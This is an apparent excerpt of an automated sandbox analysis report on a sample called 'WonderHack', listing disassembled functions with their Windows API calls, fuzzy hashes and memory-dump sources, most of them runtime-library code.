Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 7ab3b333d2334e644387d8ae7840400bae2898d838ea6a3100a65b83803a9f49
Instruction ID: d5b5e8cc0c7ed51166dbc1751aafe1b7d98a5442d3ba6b1d9c3d8d8f4e17885f
Opcode Fuzzy Hash: 7ab3b333d2334e644387d8ae7840400bae2898d838ea6a3100a65b83803a9f49
Instruction Fuzzy Hash: EA31E47590122CABCB21DF68DC89B8DBBB8BF18310F5041EAE41CA7290E7309F858F45

Function 001A00B4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 001A00EC
GetSystemTimeAsFileTime.KERNEL32(?,C97C8CFE,00198E30,?,001BBE77,000000FF,?,0019FDB4,?,00000000,00000000,?,0019FDD8,?,00198E30,?), ref: 001A00F0

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: a52b39697ddec4a90263411c90cfe8988cbc357895b6c647c0b43fa30db31853
Instruction ID: 97ea8587eee7ef5681a72dfee5f1684e0dbaba4e2ab8e3caec2faa0e5e6eb803
Opcode Fuzzy Hash: a52b39697ddec4a90263411c90cfe8988cbc357895b6c647c0b43fa30db31853
Instruction Fuzzy Hash: F1F03076A48664EFC7028F44DD41FAABBA8F709B54F01012AE81293A90DB75A9409B80

Function 001B5C5E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,001B5BB9,?,?,00000008,?,?,001BBCAB,00000000), ref: 001B5E8B

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d7af715f1338597d4cd4330579e53d973c1f9893cac67b1cbc54e27281012b71
Instruction ID: bfb62d8d950330e68abfed258f1de25585bc06b1cd726a632dd84ba95c7807b8
Opcode Fuzzy Hash: d7af715f1338597d4cd4330579e53d973c1f9893cac67b1cbc54e27281012b71
Instruction Fuzzy Hash: F9B16031510A08DFD719CF28C48ABA57BE2FF45364F29865CE999CF2A1C735D982CB40

Function 0019F555 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0019F56B

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7afd23ca0c63018369daa7c21837a501e74d1d2e36e613a006200da42d278987
Instruction ID: c9fa27f1613d94cb2719ade7a15304591cce0ad1de6d9e2b73ff9a056cfabbe4
Opcode Fuzzy Hash: 7afd23ca0c63018369daa7c21837a501e74d1d2e36e613a006200da42d278987
Instruction Fuzzy Hash: 27A16AB2A046059FDB18CF58E8C2AA9BFF9FB48364F24852ED415E7660D374D981CF90

Function 001B1F38 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001AD2B4: HeapAlloc.KERNEL32(00000008,?,?,?,001AC1B7,00000001,00000364,?,00000005,000000FF,?,001A5495,001C8E38,0000000C), ref: 001AD2F5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001B20D9
FindNextFileW.KERNEL32(00000000,?), ref: 001B21CD
FindClose.KERNEL32(00000000), ref: 001B220C
FindClose.KERNEL32(00000000), ref: 001B223F

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: b423d5a882467227bc3b93691dae08c0c44a1f49188831bb1b0894aac6a5dcd9
Instruction ID: 16767353c7b2f3cf5c3db9d7e70f5c22981d1b644cf592d253ca263dfb99b2b3
Opcode Fuzzy Hash: b423d5a882467227bc3b93691dae08c0c44a1f49188831bb1b0894aac6a5dcd9
Instruction Fuzzy Hash: 71513575A04118AFDF24AF289CD5AFEB7A9DF95314F24419DF80993241EB308D4ADB60

Function 001B1840 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B1894

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 770b25be85b35132f46e83a976b8673ff14b4448e7e99bd5c747fe015c85d402
Instruction ID: 9d6d0101cbdff116cb6db26b90593e5fdc4bc97a0b2a9d88e0f0c02b611fb922
Opcode Fuzzy Hash: 770b25be85b35132f46e83a976b8673ff14b4448e7e99bd5c747fe015c85d402
Instruction Fuzzy Hash: 9B21CF72610206BBDB28AB25CC62AFA37A8FF15711F51407AFE06D6141EB34ED40DB90

Function 001A3FB2 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 001A4136

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 1d0151b7da29e9521ab64584cc7c9f8e1b2e3052c06858123d79b7e1589ce640
Instruction ID: 8fd7b50b1334e6a33b3f8a06bdf90fd245bf72929a3c35604506f5f3ceb2c8e6
Opcode Fuzzy Hash: 1d0151b7da29e9521ab64584cc7c9f8e1b2e3052c06858123d79b7e1589ce640
Instruction Fuzzy Hash: 64B1F37C90060A8BCB38CE68DA556BEBBB1AFD3300F14461EF65297681C7B1AD41DB51

Function 001B14D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

EnumSystemLocalesW.KERNEL32(001B1580,00000001,00000000,?,-00000050,?,001B1363,00000000,-00000002,00000000,?,00000055,?), ref: 001B154A

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 46449a20c8749fddbaa0481714d4bdfaa025aa6f575ec9d8a8d8ede6bd9655fe
Instruction ID: cb9fa4aef634dc15d1d5127af76600b4c3c92527e950277a2d3209327938032d
Opcode Fuzzy Hash: 46449a20c8749fddbaa0481714d4bdfaa025aa6f575ec9d8a8d8ede6bd9655fe
Instruction Fuzzy Hash: 95110C37200701AFDB289F39C8A15FAB7A1FF81758B55442CE94747B40E771B942C750

Function 001B1960 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B19B4

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d24b40f0ffe08b6b8c88182ec5d30ebe36ab8b6eabe55515fb623a4775c2d3e2
Instruction ID: 149320dc09f7c4ca8bfce34ed077313abb68dbe8cc27963ac4c952eb0ba9a30b
Opcode Fuzzy Hash: d24b40f0ffe08b6b8c88182ec5d30ebe36ab8b6eabe55515fb623a4775c2d3e2
Instruction Fuzzy Hash: 60112532600206ABDB14AF28CC62DFB77ECEF15714B61417AF502D7141EB38ED059790

Function 001B1B0D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,001B179C,00000000,00000000,?), ref: 001B1B39

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1ea445f9aa66bcd35cc7ca8b68b2cc044b25b4331e38dd0cd6cfef7753633054
Instruction ID: 3ac349a28931db07154e5a0576a19db0f06f7de2c81fd87e0e72948b2eed6b28
Opcode Fuzzy Hash: 1ea445f9aa66bcd35cc7ca8b68b2cc044b25b4331e38dd0cd6cfef7753633054
Instruction Fuzzy Hash: 9701D136710112BBDB2C5B64CD2AAFA3778EF40754F5A4428ED06A3180FB74EE41C690

Function 001B17D3 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

EnumSystemLocalesW.KERNEL32(001B1840,00000001,?,?,-00000050,?,001B132B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 001B181D

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: dc2b97eb4e6a8c335120be12df44439c402d1808cdfdab55fea0e192739ad820
Instruction ID: 6738c119cc5f86acdb8c7d4421fc367add60ebbfde83e9ae2309417f3840ba73
Opcode Fuzzy Hash: dc2b97eb4e6a8c335120be12df44439c402d1808cdfdab55fea0e192739ad820
Instruction Fuzzy Hash: 7EF0F6363003046FDB245F79DC91ABA7BA5FF81768F46842CF9458B690D7B1AC42C650

Function 001AD1BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A80E1: EnterCriticalSection.KERNEL32(?,?,001AC5F8,?,001C9290,00000008,001AC4EA,?,?,?), ref: 001A80F0

EnumSystemLocalesW.KERNEL32(001AD1B0,00000001,001C9310,0000000C,001ACB11,-00000050), ref: 001AD1F5

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 7657d698a6f0dc1687a1ddd35872efe5741ffa1fe781b535f433428c40256ba0
Instruction ID: 9046d370493ca445be09c0df406595779253ce2855ce3bf4c9ba1e3a63a8736d
Opcode Fuzzy Hash: 7657d698a6f0dc1687a1ddd35872efe5741ffa1fe781b535f433428c40256ba0
Instruction Fuzzy Hash: DFF037B6A04204EFDB10DFA8E842B99BBF0FB55721F00802AF411DB6A0CB759980CF84

Function 001B1915 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

EnumSystemLocalesW.KERNEL32(001B1960,00000001,?,?,?,001B1385,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 001B194C

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 59b4dce4691710150590ba61feb54d0336550f7dbdc0d5849a1b942dd76ffeec
Instruction ID: c78cdc28d78ad3c9651695a59c02a24364565fd4005834510fc5da96fafb94fd
Opcode Fuzzy Hash: 59b4dce4691710150590ba61feb54d0336550f7dbdc0d5849a1b942dd76ffeec
Instruction Fuzzy Hash: 8CF0EC3930034567CB049F35DC756A67FA4EFC1B54F474058EA058B551C771D842C794

Function 001ACC15 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,001A6E33,?,20001004,00000000,00000002,?,?,001A5D3D), ref: 001ACC49

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a7e71ac73fdf7842ce5d7a2804100ca6a32ba9cce946311ea3a47c8413e0bfc2
Instruction ID: 88d42d4bde16e73f95427f335c1babe54faee12773edf16a6b4a66bf066581ef
Opcode Fuzzy Hash: a7e71ac73fdf7842ce5d7a2804100ca6a32ba9cce946311ea3a47c8413e0bfc2
Instruction Fuzzy Hash: 82E0863550122CBBCF122F60EE04EAE7F16EF55760F044021FD1566225CB35CD61ABD5

Function 0019F8DD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FA00), ref: 0019F8E2

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ee9b94ab78691e1061eb57ee3e659ce93a3f334d032fae00363907a0c49c03b0
Instruction ID: 0370859545e3fe39cf3f115cb06b97b659d4b06662054ac98052eba3b9906b64
Opcode Fuzzy Hash: ee9b94ab78691e1061eb57ee3e659ce93a3f334d032fae00363907a0c49c03b0
Instruction Fuzzy Hash:

Function 001AD8E0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 001AD8E0

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f2d309a5cd4ca51dfea22a5fc71bdae51bd1a519123f13439d08b4aa33db3ea8
Instruction ID: 99c520d6550c62b81b5cc251dec818c52e6868b2010de8f40afd2cedda3bdf55
Opcode Fuzzy Hash: f2d309a5cd4ca51dfea22a5fc71bdae51bd1a519123f13439d08b4aa33db3ea8
Instruction Fuzzy Hash: 88A001706012028B97448F36AE1AA0D3EA9AB45AD17058079A945C6964EA34D494AF4A

Function 001BAAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02A75530,02A75530,00000000,7FFFFFFF,?,001BAACD,02A75530,02A75530,00000000,02A75530,?,?,?,?,02A75530,00000000), ref: 001BAB88
__alloca_probe_16.LIBCMT ref: 001BAC43
__alloca_probe_16.LIBCMT ref: 001BACD2
__freea.LIBCMT ref: 001BAD1D
__freea.LIBCMT ref: 001BAD23
__freea.LIBCMT ref: 001BAD59
__freea.LIBCMT ref: 001BAD5F
__freea.LIBCMT ref: 001BAD6F

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

